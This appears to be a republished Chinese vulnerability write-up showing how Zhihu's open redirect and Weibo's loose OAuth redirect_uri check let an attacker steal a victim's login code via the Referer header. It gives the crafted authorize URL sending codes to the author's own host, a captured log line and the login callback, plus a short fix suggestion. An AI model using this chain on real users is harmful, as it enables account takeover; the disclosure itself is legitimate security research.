欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

微博上你点我链接我就可以上你绑定过的知乎账号

程序员文章站 2022-03-19 14:14:09
先无耻得打个高分,不同于 @呆子不开口 的一个思路 这个问题其实是由一个任意跳转的漏洞引起的,之前我上报过但没有审核通过。因为的确当时我还没能展示出其危害,然后我又回来了!!知乎...

先无耻得打个高分,不同于 @呆子不开口 的一个思路

这个问题其实是由一个任意跳转的漏洞引起的,之前我上报过但没有审核通过。因为的确当时我还没能展示出其危害,然后我又回来了!!知乎上回答里随意插个链接都能看到如下的URL:
 

https://link.zhihu.com/?target=https://a.zhchbin.xyz



因为要从referrer里偷信息,在构造链接的时候我们要用http,刚好这个接口也是支持的。课外知识:关于https -> http 跳转的referrer,https://serverfault.com/questions/520244/referer-is-passed-from-https-to-http-in-some-cases-how



在知道这个跳转漏洞之后,我想起了第三方账号的oauth过程中有一个redirect_uri的参数,例如微博的接口:
 

https://api.weibo.com/oauth2/authorize?scope=email&state=e9887b485320b0cab80b0d029e92759f&redirect_uri=https%3A%2F%2Fwww.zhihu.com%2Foauth%2Fcallback%2Flogin%2Fsina&response_type=code&client_id=3063806388



这个接口文档:https://open.weibo.com/wiki/Oauth2/authorize

试了一下,参数当然只能是知乎的域名,不过,居然子域名也是没有问题的。(微信的接口就不行),所以问题就变得简单了,构造URL如下:
 

https://api.weibo.com/oauth2/authorize?scope=email&state=e9887b485320b0cab80b0d029e92759f&redirect_uri=http%3A%2F%2Flink.zhihu.com%2F%3Ftarget%3Dhttp%3A%2F%2Fa.zhchbin.xyz%2Fauth%3F&response_type=code&client_id=3063806388



用户点击之后我们就可以在referrer拿到code,如下:
 

[31/Jan/2016:15:28:31 +0800] "GET /auth? HTTP/1.1" 404 402 "https://link.zhihu.com/?target=https://a.zhchbin.xyz/auth?&state=e9887b485320b0cab80b0d029e92759f&code=ad3d1b20385f891a36e498cb470146e5" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36" "2.94"



拿到这个code参数之后,在浏览器用下面的接口就可以完成登录了。
 

https://www.zhihu.com/oauth/callback/login/sina?state=17324074ce785e6296061cf1381f6f8b&code=ad3d1b20385f891a36e498cb470146e5



其中state参数的值是知乎首页的cookie中_xsrf对应的值
 

微博上你点我链接我就可以上你绑定过的知乎账号



这个值不对的话会403

已经证明

解决方案:

那个任意跳转的问题的确挺修复的,不知道微博redirect_uri那里能不能限制的严格一下。